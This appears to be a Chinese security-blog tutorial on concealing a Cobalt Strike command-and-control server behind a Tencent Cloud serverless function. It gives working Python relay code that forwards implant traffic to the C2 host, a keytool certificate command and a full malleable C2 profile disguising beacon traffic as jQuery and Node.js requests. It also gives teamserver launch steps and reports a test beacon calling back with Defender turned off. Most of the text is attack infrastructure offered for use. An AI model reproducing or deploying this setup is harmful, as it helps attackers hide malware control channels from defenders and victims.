* 启动云函数
- 在腾讯云控制台搜索云函数,在函数服务->函数管理进行新建->自定义
// 坑点一:要根据cs监听类型http/https在脚本内填入c2服务器地址
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
- 部署完代码后新建触发器,更改下述两个选项即可
- 进入触发器api配置,更改路径为/,配置完直接发布api
// 这个时候可以访问下api地址,然后在函数服务的日志查询看一下有没有日志,如果有日志的话云函数配置就ok了
* 配置CS profile
- 使用keytool生成证书文件,记住证书密码,后面要在profile配置
keytool -keystore cobaltStrike.store -storepass password -keypass password -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
- profile 模板,这儿有个坑,我用的是cs4.3 需要整一下花括号位置,花括号要另起一行,不然会报错找不到括号
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
https-certificate
{
set keystore "cobaltStrike.store"; //证书名
set password "Mm0000.."; //密码
## Option 3) Cobalt Strike Self-Signed Certificate
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
http-get
{
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager
{
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server
{
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
- 创建完成后,把证书和profile文件rz扔到cs文件夹,使用./teamserver vpsip password c2.profile 加载profile启动cs,下面这样就是启动成功
- 本地客户端连接,创建监听,第三个坑,这里只能创建80和443端口的监听,因为我们的流量是通过云函数进来的,云函数只支持80和443,这里的监听实际上是中间人云函数的监听地址和端口,如果云函数C2地址配的是http就开80监听;https就开443,https方式监听
- 打开cs web日志,访问云函数api的443端口,发现cs的日志出现流量
出现腾讯云流量,至此云函数已经配置成功
* 测试
- 这儿没做cs马的免杀,关了defender(被干的太惨了),选择https的监听方式,直接上线,sleep调到0发现监听ip会一直变动,配置生效
* 总结
- 云函数隐藏C2原理
马 -> 腾讯云函数api -> py函数 -> CS服务端
CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
© 版权声明
本站网络名称:
孤勇者社区
本站永久网址:
https://www.gyzsq.com
网站侵权说明:
本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ324470778删除处理。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
THE END
喜欢就支持一下吧
相关推荐
评论 共2条
![头像](/wp-content/themes/zibll/img/avatar-default.png)
欢迎您留下宝贵的见解!
- 最新
- 最热
只看作者